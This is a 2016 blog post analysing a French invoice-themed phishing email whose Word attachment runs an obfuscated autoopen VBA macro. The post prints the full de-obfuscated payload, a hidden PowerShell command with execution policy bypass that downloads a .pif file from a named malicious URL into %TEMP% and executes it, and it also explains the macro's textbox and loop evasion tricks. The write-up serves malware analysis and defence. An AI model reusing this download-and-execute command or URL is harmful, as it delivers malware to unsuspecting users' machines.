Tuesday, May 31, 2016

Email Attachment Word Doc with VBA

I recently saw an email in French that was phishing a user to click on an invoice. The email looked like this below (I attempted to google translate to english also).

Subject: COPIE FACTURE + JUSTIFICATIFS
Subject: INVOICE COPY + SUPPORTING


Body:
Bonjour,
Ci-joint la copie de notre facture XXXXXXX du YYYYYYY de ZZZZZ avec ses justificatifs.
Dans lattente de son rglement,
Je vous remercie.


Body:
Hello,
Attached a copy of your invoice XXXXXXX of YYYYYYY from ZZZZZ with supporting.
Pending in its regulation,
Thank you,


The email had a 1997 old Microsoft Word attachment with a VBA script inside that contained this code. I thought I'd walk through and de-obfuscate some of the code for you.

Sub autoopen()


The VBA script, as seen above, will run as soon as the user opens the Word Document and if macros are enabled.

HNJVZn = 2468
Do While HNJVZn < 2468 + 10
    HNJVZn = HNJVZn + 1: DoEvents
Loop


In this VBA script there are probably 15 or so instances of do while loops like the one above. These are all useless obfuscation by the attacker meant to distract you from what's really going on. Each of these loops, if you were to de-obfuscate, essentially is doing nothing. It's kinda like a for loop that pauses the program for fractions of a second. You can see that the variable is set to 2468 and then incremented 1 time through each for loop for 10 times. Each time it's running the DoEvents function which is almost like the NoOp (no operations) function. Read here for more information on the VBA script DoEvents function.

Shell mmJhasvxjdUs.TextBox1 + mmJhasvxjdUs.TextBox2 + mmJhasvxjdUs.TextBox3 + mmJhasvxjdUs.TextBox4 + mmJhasvxjdUs.TextBox5 + mmJhasvxjdUs.TextBox6 + mmJhasvxjdUs.TextBox7 + mmJhasvxjdUs.TextBox8 + mmJhasvxjdUs.TextBox9 + mmJhasvxjdUs.TextBox10 + mmJhasvxjdUs.TextBox11 + mmJhasvxjdUs.TextBox12 + mmJhasvxjdUs.TextBox13, vbHide

So if we were to strip out all the useless do while loops mentioned above, this program then literally comes down to 1 single command, that's it. It's the VB Script Shell command. And as you can see, in the Microsoft Word document itself there must be 13 textboxes, each filled with a string value. This attacker is simply grabbing those 13 textbox values, concatenating them together, and running the command at the Shell Prompt of a hidden (vbHide) command shell prompt (cmd.exe). If I were to run the program "strings" or analyze the word document in another safe manner, I could quickly find out what the values in the textbox are. This is a nice method of obfuscation though for the attacker, to put the values in Textboxes, because automated Macro extraction tools like OfficeMalScanner for example are not going to by default extract for you the payload values, such as the command prompts executed, the urls detected, etc. since they're in GUI objects like textboxes. Here are the values I found.


Pow

erShell -NoExit -ExecutionPolicy bypa

ss -noprofile (New-Obje

ct System.Net.We

bClient).Downloa

dFile('

http://asp.councilldentalassociates.com/brodyaga/u312n/download.php

','%TEM

P%\arab.pif');Sta

rt-Process '%TEM

P%\arab.pif';



So if you concanate all those textbox values together you get the following command

PowerShell -NoExit -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://asp.councilldentalassociates.com/brodyaga/u312n/download.php','%TEMP%\arab.pif');
Start-Process '%TEMP%\arab.pif';


So from above you can see that this Microsoft Word document is executing a Powershell command. It's passing the NoExit parameter which means that after it executes the command it should leave the cmd.exe prompt open so that another command can be executed (in this case the Start-Process command would be next). The ExecutionPolicy of the powershell script is set to bypass which means nothing will be blocked and no prompts given, thus silently in the background to infect the user without their knowledge. The attacker also chooses the powershell noprofile option which allows the powershell prompt to be created and run the script and an empty untouched untainted shell. If they don't include this parameter, then all the user's custom scripts or corporate scripts would run first prior to this execution and the attacker's script might fail then because of some setting or dependency configured at startup. Finally the powershell script gets to the actual command to be executed, which is created a new WebClient object, which allows the victim's workstation to reach out over port 80 on the internet to the malicious url (the php link above), except this is no ordinary web page or php file, it's actually a binary file that will be downloaded and saved to the victim's temp folder as arab.pif. Finally, as mentioned earlier, that arab.pif file is executed (the equivalent of the user double-clicking it, except this happens behind the scenes with no user interaction). PIF files can contain hidden executable modules, for instance, BAT, EXE or COM programs that will be automatically executed after the host file is run, thus once this is executed the attacker has code execution on the workstation and you can consider it game over as there is probably some form of malware, ransomware, or other non-sense on this box. Time to re-image again.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

1 comment:

  1. Nice writing.
    It looks like that the loops at the start are there to bypass AV sandbox.

    ReplyDelete